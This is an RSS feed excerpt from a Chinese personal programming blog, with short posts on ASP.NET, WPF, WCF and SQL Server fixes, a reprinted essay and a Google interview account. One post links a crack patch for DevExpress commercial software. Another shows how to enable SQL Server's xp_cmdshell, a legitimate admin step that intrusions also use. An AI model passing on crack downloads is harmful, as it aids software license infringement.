&lt;p&gt;　　因为远程服务器是临时装的。肯定是少装了什么东西。。果断Google。直接输入下面的命令。安装注册一下asp.net4就可以了。&lt;/p&gt;
&lt;p&gt;　　&lt;pre class=&#34;lang:default decode:true &#34; &gt;c:\windows\microsoft.net\framework64\v4.0.30319\aspnet_regiis.exe -iru&lt;/pre&gt;&lt;/p&gt;
&lt;p&gt;　　中间的版本号应该是自己去目录看一看。&lt;/p&gt;
&lt;p&gt;　　哦。我的是win server 2008的服务器。如果你也遇到了同样的问题。试试吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>活出爱-史铁生</title>
      <link>http://blog.leaver.me/2012/08/19/%E6%B4%BB%E5%87%BA%E7%88%B1-%E5%8F%B2%E9%93%81%E7%94%9F/</link>
      <pubDate>Sun, 19 Aug 2012 06:22:28 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/19/%E6%B4%BB%E5%87%BA%E7%88%B1-%E5%8F%B2%E9%93%81%E7%94%9F/</guid>
      <description>&lt;p&gt;　　我曾经写过：人与猪的自然差别是一个定数，人与人的心理差别却无穷大。所以，人与人的交往多半肤浅。或者说，只有在比较肤浅的层面上，交往是容易的。一旦走向复杂，人与人就是相互的迷宫。这大概又是人的根本处境。&lt;/p&gt;
&lt;p&gt;　　我常常感到这样的矛盾：睁开白天的眼睛，看很多人很多事都可憎恶；睁开夜的眼睛，才发现其实人人都在苦弱地挣扎，惟当互爱。当然，白天的眼睛并非多余，我是说，夜的眼睛是多么重要。&lt;/p&gt;
&lt;p&gt;　　人们就象在呆板的实际生活中渴望虚构的艺术那样，在这无奈的现实中梦想一片净土、一段完美的时间。这就是宗教精神吧。在这样的境界中，在沉思默想着向着神皈 依的时间里，尘世的一切标准才被扫荡，于是看见众生都是苦弱的，歧视与隔离惟使这苦弱加重。那一刻，人摆脱了尘世附加的一切高低贵贱，重新成为赤裸的亚当、夏娃。生命中必须有这样一段时间、一块净土，尽管它常会被嘲笑为“不现实”。但“不现实”未必不是一种好品质。比如艺术，我想应该是脱离实际的。模仿 实际不会有好艺术，好的艺术都难免是实际之外的追寻。&lt;/p&gt;
&lt;p&gt;　　当然，在强大的现实面前，这理想只能是一出非现实的戏剧，不管人们多么渴望它，为它感动，为它流泪，为它呼唤，人们仍要回到现实中去，并且不可能消灭这惩罚之地的规则。&lt;/p&gt;
&lt;p&gt;　　我可能是幸运的。我知道满意的爱情并不很多，需要种种机遇。我只是想，不应该因为现实的不满意就迁怒于那的梦想，说它本来没有。人若无梦，夜的眼睛就要瞎 了。说“没有爱情”，是因为必求其现实，而不大看重爱情更是需要信奉的。不单爱情如此，一切需要信奉的东西都是这样，美满了还有什么好说的？不美满，才是 需要智慧和信念的时候。&lt;/p&gt;
&lt;p&gt;　　上帝把一个危险性最小的机会给了恋人，期待他们“打开窗户”。上帝大约是在暗示：如果这样你们还不能相互敞开心扉，你们就毫无希望了；如果这样你们还相互隔离或防范，你们就只配受永恒的惩罚。所以爱情本身也具有理想意义。艺术又何尝不是 如此？它不因现实的强大而放弃热情，相反却乐此不疲地点燃梦想。&lt;/p&gt;
&lt;p&gt;　　我越来越相信，人生是苦海，是惩罚，是原罪。对惩罚之地的最恰当的态度，是把它看成锤炼之地。既是锤炼之地，便有一种猜想——灵魂曾经不在这里，灵魂也不止于这里，我们是途径这里！宇宙的信息被分割进肉体，成为一个个有限或残缺，从而体会爱的必要。&lt;/p&gt;</description>
    </item>
    <item>
      <title>面试体验：Google 篇</title>
      <link>http://blog.leaver.me/2012/08/11/%E9%9D%A2%E8%AF%95%E4%BD%93%E9%AA%8Cgoogle-%E7%AF%87/</link>
      <pubDate>Sat, 11 Aug 2012 14:30:10 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/11/%E9%9D%A2%E8%AF%95%E4%BD%93%E9%AA%8Cgoogle-%E7%AF%87/</guid>
      <description>&lt;p&gt;　　尝试在&lt;a href=&#34;http://www.cnblogs.com/cathsfz/archive/2012/08/08/google-interview-experience.html&#34;&gt;自己的博客&lt;/a&gt;上搜索点东西，结果发现 4 年多以前还在博客上写过一系列的 recruiting events，把大四时候参加过的各种笔试面试都记录下来了。我从去年准备离开百度开始，到现在总过面试过 4 家公司：Google、Microsoft、Yahoo、Facebook，原本去年也想把面试经验写一写的，结果一拖就拖到现在。我不想写面试经验，因为我个人不喜欢漏题和背题的做法。我自己作为面试官，知道要设计出来一道好用的题目有多难，所以我希望面试者都是如实表现自己解题能力的。我更喜欢写面试体验，就是在整个面试过程中一家公司给人的印象是怎样的，HR 和面试官是否专业，能否让人信服这是一家值得长期工作的公司。&lt;/p&gt;
&lt;p&gt;　　我想写的第一家公司是 Google，因为它是我在想要离开百度时第一家联系到我的公司。2010 年 12 月底的某一天早上，我突然感觉到我应该离开百度，因为如果这个时候已经没有勇气离开这家公司了，很可能就不会再想要离开了。当天中午在百度大厦西餐厅吃午饭，接到一个 Google 上海 HR 的电话，问我有没有兴趣去面试，我想既然你打电话来的时机那么好，我就答应你去面试吧。（在那一天之前，我对猎头的标准回复是「有美国或者香港的职位吗？」）她问我将来希望在北京还是上海工作，当时我对北京的厌恶程度还没有现在那么高，同时觉得搬家到上海又比较麻烦，于是就说在北京，接着我就变成跟北京 HR 沟通了。&lt;/p&gt;
&lt;p&gt;　　Google 的 HR 会负责做两件简单得不需要面试官做的事情，这能够很好的提高招聘流程的效率。第一件是确认你能够适应工作环境中的英语，为此 HR 要我用英语跟她对话两三分钟，主要就是让我说说工作经验和其中的亮点。习惯在私企工作的人不要以为外企对英语的要求很高，其实大多数长期在中国工作的人说话或者发邮件都会很 Chinglish 啦，所以关键是要敢于用英语进行沟通。&lt;/p&gt;
&lt;p&gt;　　然后 HR 发了一个 Codility 的地址给我，让我有空抽时间去做题。一个小时 3 道难度相当于 OI 基础题的题目，平均 20 分钟一道。最简单的题目一看就知道是 O(n) 能解决的，最复杂的题目看上去是 O(n^2) 但想一下就能优化为 O(n log n)。对于有算法训练背景的人来说，这样的题目会让人感觉到很有把握。对于没有经受过算法训练的人来说，掉进陷阱里是很容易的。很可能没有把 O(n^2) 优化为 O(n log n)，结果超时；可能没仔细看题目说明的数值取值范围，某些变量选错了数值类型，结果溢出。考虑到 Google 重视算法的程度，再加上 Google 中国面试的额外难度，算法训练还是很必要的。&lt;/p&gt;
&lt;p&gt;　　在我通过 Codility 测试后，HR 问我了对题目难度的反馈，然后约了一轮电话面试，并且告知面试主要围绕算法、数据结构、系统设计、编码来进行。Google 面试的格式都很固定，45 分钟内期望你能做出 3 道题来。这 3 道题最起码要能把人人都能想出来的「笨办法」用代码写出来，否则会让面试官感到不满意。如果有些题目能够比较快地做出来，面试官就会让你优化。就算你第一次给出的答案已经是业界已知最优解，面试官都还是会让你优化，因为谁也不知道有没有人能在面试过程中突然爆发，想出一些过去没人想到过的解法。如果面试官心中已有优化的方案，在你想不出优化方案时他可能会给你提供一些提示。&lt;/p&gt;
&lt;p&gt;　　一轮电话面试后，HR 就开始约到 Google 办公室的面试了。第一次约了下午 3 轮面试，还是那个很固定的格式：每轮面试 45 分钟，两轮间隔 15 分钟。整个面试流程让人感觉到很人性化：在 Google 签到后，HR 会先带你去 kitchen 拿点吃的喝的，然后把你带到面试所用的会议室。多轮面试的话，HR 中间还会来问一下你要不要去洗手间，或者多拿两瓶水。面试完毕后 HR 会来问你感觉如何，同时也会让你知道面试官的初步反馈是否跟你的感觉一致。我在 3 轮面试中有一轮感觉不太好，因为面试官只给了 2 道题，并且我最终都没办法解出来，HR 也确认了就是这一轮的反馈不好。&lt;/p&gt;
&lt;p&gt;　　此外，Google 的招聘流程还让人感觉到很有效率。作为面试官，我也知道自己写面试反馈有多喜欢拖延，而且公司填写面试反馈的系统越不人性化我就越想要拖延，然而公司内部系统做得人性化的又实在罕见。Google 的面试基本上隔天就有结果，然后 HR 就会约下一轮的面试。因为我在百度的时候每周哪个时间没有会议是很确定的，所以我总是选择下周同一个时间段来面试。在经过总共 4 轮面试后，HR 说因为前面有一轮的面试官反馈不好，所以希望再加一轮面试。因为前面反馈不好的面试官比较 senior，所以这次找了一位同样 senior 的面试官来面试，于是我又去了一次 Google 办公室。&lt;/p&gt;
&lt;p&gt;　　完成 5 轮面试后，HR 把材料提交给 Google 的北京招聘委员会，结果没有通过。HR 说，因为 Google 都是按照后端工程师的标准来招聘，看重算法和数据结构，前端工程师要通过不容易。因为 Google 没有专门的前端工程师，只有一个软件工程师职位，所以所有人还是必须按照一个标准来衡量。她问我如果找到专门需要前端工程师的团队，并且需要额外再面试的话，我是否感兴趣。当时 Google 是我的第一选择，我当然说感兴趣啦。&lt;/p&gt;
&lt;p&gt;　　后来 HR 跟我说，她帮忙问过 Google Maps，可惜对方说不要专才只要通才。又过了几个星期，HR 发现 IME 需要专门做前端的人，于是帮我再约了一轮面试。这轮面试是在 Google 办公室做的，但实际上是视频会议，因为面试官在美国。（不确定面试官是在美国出差，还是美籍华人。）面试过程跟电话面试类似，用 Google Docs 写代码，比电话面试要好的是说话时能够见到人。&lt;/p&gt;
&lt;p&gt;　　这一轮面试结束后，我的材料再次进入 Google 的北京招聘委员会。HR 说这次专门找了对前端有经验的人来审阅我的材料，结果顺利通过了。接着 HR 问我要了一大堆的补充材料，包括高考成绩和 GPA（连同成绩单），还包括当前薪酬和竞争对手的 offer（我当时有 Yahoo 的 offer），甚至包括过去的获奖和晋升经历。所有这些材料都会发往 Google 美国总部审阅，具体流程 HR 没有细说，但看 Don Dodge 的文章可以了解一些。最后我被 Google 美国总部给拒绝了，然后 HR 还是一如既往地及时沟通，并且安慰了我几句。&lt;/p&gt;</description>
    </item>
    <item>
      <title>C#调用Matlab引擎</title>
      <link>http://blog.leaver.me/2012/08/09/c%23%E8%B0%83%E7%94%A8matlab%E5%BC%95%E6%93%8E/</link>
      <pubDate>Thu, 09 Aug 2012 22:39:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/09/c%23%E8%B0%83%E7%94%A8matlab%E5%BC%95%E6%93%8E/</guid>
      <description>&lt;p&gt;　　最近在使用matlab的时候。求多元函数取得最小值的时候。变量的值。于是就用到了sym符号。结果在C#中调用时总是出错。后来Google了N久发现是符号工具箱是无法编译的。。后来找到了替代方法。就是调用matlab 引擎。当然要稍微麻烦一点。因为调用引擎这种方法参数传递比较麻烦。我只想到了通过C#把需要计算的值保存到文本中。然后matlab中load进来。计算完成后 save出去。。&lt;/p&gt;
&lt;p&gt;　　调用matlab引擎类似于在C#中新开了一个进程。然后执行一些命令。之前需要引用Matlab Application Type Library。这是个com组件&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25657_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/b938768405ede59db17f36bdc27e700bf3cbf1dc.jpg&#34; title=&#34;type&#34;&gt;&lt;/a&gt;
然后在程序里使用 using语句&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;using MLApp;&lt;/pre&gt; 
&lt;p&gt;然后就可以正常使用了。使用我试过的有两种方法&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true &#34; &gt;MLApp.MLAppClass matlab = new MLApp.MLAppClass();  
matlab.Visible = 1;  
string command=&#34;figure(1)&#34;;
matlab.Execute(command);  
matlab.Quit();&lt;/pre&gt; 
&lt;p&gt;很简单。Visible设置可见性。。command表示要执行的命令。&lt;/p&gt;
&lt;p&gt;另一种是&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;MLApp.DIMLApp matlab = null;  
Type matlabAppType = System.Type.GetTypeFromProgID(&#34;Matlab.Application&#34;);  
matlab = System.Activator.CreateInstance(matlabAppType) as MLApp.DIMLApp;  
matlab.Visible = 1;  
string command=&#34;figure(2)&#34;;
matlab.Execute(command);  
matlab.Quit();&lt;/pre&gt; 
&lt;p&gt;不知什么原因，第一种方法我没有调用成功。第二种调用成功。欢迎讨论。&lt;/p&gt;</description>
    </item>
    <item>
      <title>北外英语专业超全面翻译笔记PDF下载</title>
      <link>http://blog.leaver.me/2012/08/05/%E5%8C%97%E5%A4%96%E8%8B%B1%E8%AF%AD%E4%B8%93%E4%B8%9A%E8%B6%85%E5%85%A8%E9%9D%A2%E7%BF%BB%E8%AF%91%E7%AC%94%E8%AE%B0pdf%E4%B8%8B%E8%BD%BD/</link>
      <pubDate>Sun, 05 Aug 2012 18:34:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/08/05/%E5%8C%97%E5%A4%96%E8%8B%B1%E8%AF%AD%E4%B8%93%E4%B8%9A%E8%B6%85%E5%85%A8%E9%9D%A2%E7%BF%BB%E8%AF%91%E7%AC%94%E8%AE%B0pdf%E4%B8%8B%E8%BD%BD/</guid>
      <description>&lt;p&gt;　　今天在网上看到的。就自己制作了一下pdf版本。方便大家。现在比较纠结的是没有一个好网盘。115竟然需要登录才能下载了。。刚才试了下。。更可怕的是，，只有绑定了手机才能分享。霖枫叔疯了么。。
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25577_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/&#34; title=&#34;pdf&#34;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;那还是将就着用华为的吧。其实我也不喜欢华为的。。&lt;/p&gt;
&lt;p&gt;下载地址：&lt;a href=&#34;http://dl.dbank.com/c09mm555k4&#34;&gt;北外英语专业超全面翻译笔记&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>WPF实现控件拖动效果</title>
      <link>http://blog.leaver.me/2012/07/27/wpf%E5%AE%9E%E7%8E%B0%E6%8E%A7%E4%BB%B6%E6%8B%96%E5%8A%A8%E6%95%88%E6%9E%9C/</link>
      <pubDate>Fri, 27 Jul 2012 07:18:40 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/27/wpf%E5%AE%9E%E7%8E%B0%E6%8E%A7%E4%BB%B6%E6%8B%96%E5%8A%A8%E6%95%88%E6%9E%9C/</guid>
      <description>&lt;p&gt;首先很简单，当然是去添加两个控件了，这里我添加了两个控件，都是label，然后我想实现的是将label1拖动到label2上的时候，label1的内容会被复制到label2上。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt; &amp;lt;Label Content=&#34;TestDrop&#34; 
Height =&#34;28&#34; HorizontalAlignment=&#34;Left&#34; Margin=&#34;70,35,0,0&#34; Name =&#34;label1&#34; 
VerticalAlignment=&#34;Top&#34; MouseDown=&#34;label1_MouseDown&#34;  /&amp;gt;

&amp;lt;Label Content =&#34;ToHere&#34; Height=&#34;28&#34; HorizontalAlignment=&#34;Left&#34; 
Margin =&#34;342,107,0,0&#34; Name=&#34;label2&#34; VerticalAlignment=&#34;Top&#34; AllowDrop =&#34;True&#34;
 Drop=&#34;tagert_drop&#34;   /&amp;gt;&lt;/pre&gt; 
&lt;p&gt;需要注意的代码是label1中的MouseDown事件。和label2中的AllowDrop =&amp;ldquo;True&amp;rdquo;  Drop=&amp;ldquo;tagert_drop&amp;rdquo;&lt;/p&gt;
&lt;p&gt;然后对应的处理事件&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true &#34; &gt;     private void label1_MouseDown(object sender, MouseButtonEventArgs e)
        {
            Label lbl = (Label )sender;
            DragDrop.DoDragDrop(lbl, lbl.Content, DragDropEffects .Copy);
        }

        private void tagert_drop(object sender, DragEventArgs e)
        {
            (( Label)sender).Content = e.Data.GetData(DataFormats.Text);
        }&lt;/pre&gt; 
&lt;p&gt;其他的效果可以仿照这个来做。比如拖动以后的效果可以DragDropEffects来设置。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>DevExpress DXperience Universal 12.1.5 破解补丁</title>
      <link>http://blog.leaver.me/2012/07/21/devexpress-dxperience-universal-12.1.5-%E7%A0%B4%E8%A7%A3%E8%A1%A5%E4%B8%81/</link>
      <pubDate>Sat, 21 Jul 2012 12:08:08 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/21/devexpress-dxperience-universal-12.1.5-%E7%A0%B4%E8%A7%A3%E8%A1%A5%E4%B8%81/</guid>
      <description>&lt;p&gt;　　因为要用到wpf开发软件，而作为一个审美能力和制作美的能力完全不匹配的人。。需要有一个基本的主题框架来作为基础进行开发。。于是我找了找。。刚开始找的是http://www.telerik.com/这个商业库，不过这个用的不太顺手，于是还是试试DevExpress，，果断很不错，找到了破解补丁。
给一个官方的Demo示例图：
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/25025_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/5de045da9ce167999bd9e8df93580d0c93579daf.jpg&#34; title=&#34;Demo&#34;&gt;&lt;/a&gt;
安装文件：&lt;a href=&#34;http://downloads.devexpress.com/d0577ccc-5137-4622-b397-a128d153f2aa/0.0.0.0/DXperience/2012.1/5/DXperience-12.1.5.exe&#34;&gt;DXperience-12.1.5安装包&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;帮助文档：&lt;a href=&#34;http://downloads.devexpress.com/24614371-d026-41ab-89c8-b2c3769f9059/0.0.0.0/DXperience/2012.1/Help/DXperienceHelp2010-12.1.5.exe&#34;&gt;DXperience 12.1.5 Universal 帮助文档&lt;/a&gt;：&lt;/p&gt;
&lt;p&gt;破解补丁：&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=34831&amp;amp;uk=1493685990&#34;&gt;DevExpress.Registration.Setup.v12.1.5.E3.msi&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>未能加载文件或程序集“App_Web_xxxx”</title>
      <link>http://blog.leaver.me/2012/07/14/%E6%9C%AA%E8%83%BD%E5%8A%A0%E8%BD%BD%E6%96%87%E4%BB%B6%E6%88%96%E7%A8%8B%E5%BA%8F%E9%9B%86app_web_xxxx/</link>
      <pubDate>Sat, 14 Jul 2012 23:18:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/14/%E6%9C%AA%E8%83%BD%E5%8A%A0%E8%BD%BD%E6%96%87%E4%BB%B6%E6%88%96%E7%A8%8B%E5%BA%8F%E9%9B%86app_web_xxxx/</guid>
      <description>&lt;p&gt;　　今天在用WCF写服务的时候，服务一直连不上，直接查看svc文件，发现如下错误
未能加载文件或程序集“&amp;lsquo;App_Web_****, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null&amp;quot;,****是一个随机字符串。&lt;/p&gt;
&lt;p&gt;解决方法中：&lt;/p&gt;
&lt;p&gt;　　在web.config里配置成这样子：&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34;&gt; &amp;lt;compilation debug=&#34;true&#34; batch=&#34;false&#34;&amp;gt;&lt;/pre&gt;
&lt;p&gt;　　就好了。中午和下午一直在搞javascript连接WCF的demo，总算是晚上搞定了，，还是老样子，，最大的体会就是很多东西就是看着简单，写起来会有各种各样的问题，比如这次，即使照着微软的官方文档来，也会有错误。动手才是王道，不管做什么。这几天忙完了，写篇文章出来。&lt;/p&gt;
&lt;p&gt;　　最后分享一下微软官方的&lt;a href=&#34;http://www.microsoft.com/china/msdn/events/webcasts/shared/webcast/Series/WCF_Ajax.aspx&#34;&gt;WCF与Ajax开发实践系列课程&lt;/a&gt;，我只能说WCF这东西没有哪一本书比微软官方的技术培训讲的更好了，非常建议学习。&lt;/p&gt;
&lt;p&gt;　　武汉最近下雨了，天气挺凉爽，过几天准备回家吧。。&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQLServer超时时间已到解决和一套控件库</title>
      <link>http://blog.leaver.me/2012/07/13/sqlserver%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E8%A7%A3%E5%86%B3%E5%92%8C%E4%B8%80%E5%A5%97%E6%8E%A7%E4%BB%B6%E5%BA%93/</link>
      <pubDate>Fri, 13 Jul 2012 08:36:56 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/13/sqlserver%E8%B6%85%E6%97%B6%E6%97%B6%E9%97%B4%E5%B7%B2%E5%88%B0%E8%A7%A3%E5%86%B3%E5%92%8C%E4%B8%80%E5%A5%97%E6%8E%A7%E4%BB%B6%E5%BA%93/</guid>
      <description>&lt;p&gt;　　在最近的一个程序中，因为频繁的操作数据库，莫名的出现了如下的错误：&lt;/p&gt;
&lt;p&gt;　　超时时间已到。超时时间已到，但是尚未从池中获取连接。出现这种情况可能是因为所有池连接均在使用，并且达到了最大池大小。&lt;/p&gt;
&lt;p&gt;　　说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。&lt;/p&gt;
&lt;p&gt;　　异常详细信息: System.InvalidOperationException: 超时时间已到。超时时间已到，但是尚未从池中获取连接。出现这种情况可能是因为所有池连接均在使用，并且达到了最大池大小。&lt;/p&gt;
&lt;p&gt;　　按理说这应该是没有关闭数据库连接或者dataset，可是查了一下。发现都关了啊。遂可以表述为原因不明，但是通过在数据库连接字符串中添加max pool size=512  这个数字可以自己设。就可以了&lt;/p&gt;
&lt;p&gt;　　这篇文章短是短了点。。好吧。那顺带分享一套非常精美的C#控件。
&lt;a href=&#34;http://115.com/file/dptqnr63#RadControls-WinForms-2012-2-608-Dev.msi&#34;&gt;RadControls-For-WinForms 控件2012&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24794_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/35b3a6023ad34c4bab5564678dffabbcdd53a5da.jpg&#34; title=&#34;wpf&#34;&gt;&lt;/a&gt;
&lt;a href=&#34;http://115.com/file/e79q6pju#RadControls-for-WPF-2012-2-0607-Dev.msi&#34;&gt;RadControls-for-WPF控件2012&lt;/a&gt;
&lt;a href=&#34;http://leaverimage.b0.upaiyun.com/24793_o.jpg&#34;&gt;&lt;img loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/c3f1eeb8b01e38643d7ce0d2e2716bba20285943.jpg&#34; title=&#34;winform&#34;&gt;&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>SQLServer启用xp_cmdshell</title>
      <link>http://blog.leaver.me/2012/07/11/sqlserver%E5%90%AF%E7%94%A8xp_cmdshell/</link>
      <pubDate>Wed, 11 Jul 2012 14:20:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/11/sqlserver%E5%90%AF%E7%94%A8xp_cmdshell/</guid>
      <description>&lt;p&gt;忘了当时是执行哪条命令的时候需要启动xp_cmdshell了。。反正是必须用的。。&lt;/p&gt;
&lt;p&gt;默认情况下,sql server安装完后,xp_cmdshell是禁用的(可能是安全考虑),如果要使用它,可按以下步骤&lt;/p&gt;
&lt;pre class=&#34;lang:pgsql decode:true&#34;&gt;-- 允许配置高级选项
EXEC sp_configure &#39;show advanced options&#39;, 1
GO
-- 重新配置
RECONFIGURE
GO
-- 启用xp_cmdshell
EXEC sp_configure &#39;xp_cmdshell&#39;, 1
GO
--重新配置
RECONFIGURE
GO

--执行想要的xp_cmdshell语句
Exec xp_cmdshell &#39;query user&#39;
GO

--用完后,要记得将xp_cmdshell禁用(出于安全考虑)
-- 允许配置高级选项
EXEC sp_configure &#39;show advanced options&#39;, 1
GO
-- 重新配置
RECONFIGURE
GO
-- 禁用xp_cmdshell
EXEC sp_configure &#39;xp_cmdshell&#39;, 0
GO
--重新配置
RECONFIGURE
GO&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;</description>
    </item>
    <item>
      <title>C# 线程优秀文章汇总</title>
      <link>http://blog.leaver.me/2012/07/11/c%23-%E7%BA%BF%E7%A8%8B%E4%BC%98%E7%A7%80%E6%96%87%E7%AB%A0%E6%B1%87%E6%80%BB/</link>
      <pubDate>Wed, 11 Jul 2012 14:04:07 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/11/c%23-%E7%BA%BF%E7%A8%8B%E4%BC%98%E7%A7%80%E6%96%87%E7%AB%A0%E6%B1%87%E6%80%BB/</guid>
      <description>&lt;p&gt;最近在看线程的东西，整理一些文档以便学习。分享。&lt;/p&gt;
&lt;h3 id=&#34;刚刚&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/xugang&#34;&gt;刚刚&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42528&#34;&gt;C#多线程学习(一) 多线程的相关概念&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42529&#34;&gt;C#多线程学习(二) 如何操纵一个线程&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42530&#34;&gt;C#多线程学习(三) 生产者和消费者&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42531&#34;&gt;C#多线程学习(四) 多线程的自动管理(线程池)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42532&#34;&gt;C#多线程学习(五) 多线程的自动管理(定时器)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://kb.cnblogs.com/page/42533&#34;&gt;C#多线程学习(六) 互斥对象&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/xugang/archive/2011/03/20/1989782.html&#34;&gt;C# 实现多线程的同步方法详解&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;jimmyzheng&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng&#34;&gt;JimmyZheng&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/06/10/2543143.html&#34;&gt;C# 温故而知新： 线程篇(一)&lt;/a&gt; &lt;strong&gt;Thread&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JimmyZheng/archive/2012/07/07/2580253.html&#34;&gt;C# 温故而知新： 线程篇(二)&lt;/a&gt; 线程池和异步线程&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;zhoufoxcn&#34;&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn&#34;&gt;zhoufoxcn&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/4402999&#34;&gt;C#多线程编程（1）：线程的启动&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/5170815&#34;&gt;多线程编程(2)：线程的同步&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/5177579&#34;&gt;多线程编程(3)：线程池ThreadPool&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/5205690&#34;&gt;多线程编程(4)：多线程与UI操作&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/zhoufoxcn/article/details/2453803&#34;&gt;一个简单的C#多线程间同步的例子&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;老赵&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao&#34;&gt;老赵&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao/archive/2009/07/22/thread-pool-1-the-goal-and-the-clr-thread-pool.html&#34;&gt;浅谈线程池（上）：线程池的作用及CLR线程池&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao/archive/2009/07/24/thread-pool-2-dedicate-pool-and-io-pool.html&#34;&gt;浅谈线程池（中）：独立线程池的作用及IO线程池&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/JeffreyZhao/archive/2009/10/20/thread-pool-3-lab.html&#34;&gt;浅谈线程池（下）：相关试验及注意事项&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;bloodish&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/bloodish&#34;&gt;bloodish&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/bloodish/archive/2011/03/21/1990025.html&#34;&gt;C# Tip &amp;ndash; 如何优雅的控制线程状态&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;autumoon&#34;&gt;&lt;a href=&#34;http://www.cnblogs.com/Autumoon&#34;&gt;Autumoon&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cnblogs.com/Autumoon/archive/2008/06/19/1225684.html&#34;&gt;白话多线程&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>C#中的Array和ArrayList</title>
      <link>http://blog.leaver.me/2012/07/11/c%23%E4%B8%AD%E7%9A%84array%E5%92%8Carraylist/</link>
      <pubDate>Wed, 11 Jul 2012 12:51:03 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/07/11/c%23%E4%B8%AD%E7%9A%84array%E5%92%8Carraylist/</guid>
      <description>&lt;p&gt;数组是最基础的数据结构。ArrayList可以看作是Array的复杂版本。下面比较两者的异同&lt;/p&gt;
